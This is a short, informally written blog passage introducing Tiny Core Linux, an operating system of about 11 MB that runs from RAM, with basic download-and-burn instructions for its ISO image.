The size of this tiny OS is nearly 11 MB and the whole OS can reside in you RAM when running. It takes only 11 MB of RAM to  run this OS. As it sits in your RAM it works pretty fast then any other OS.
To use this OS download the iso file from the link given at the end of this article. Burn this image file to any CD or mini CD and install it on your system.To read more about Tiny Core Linux go here.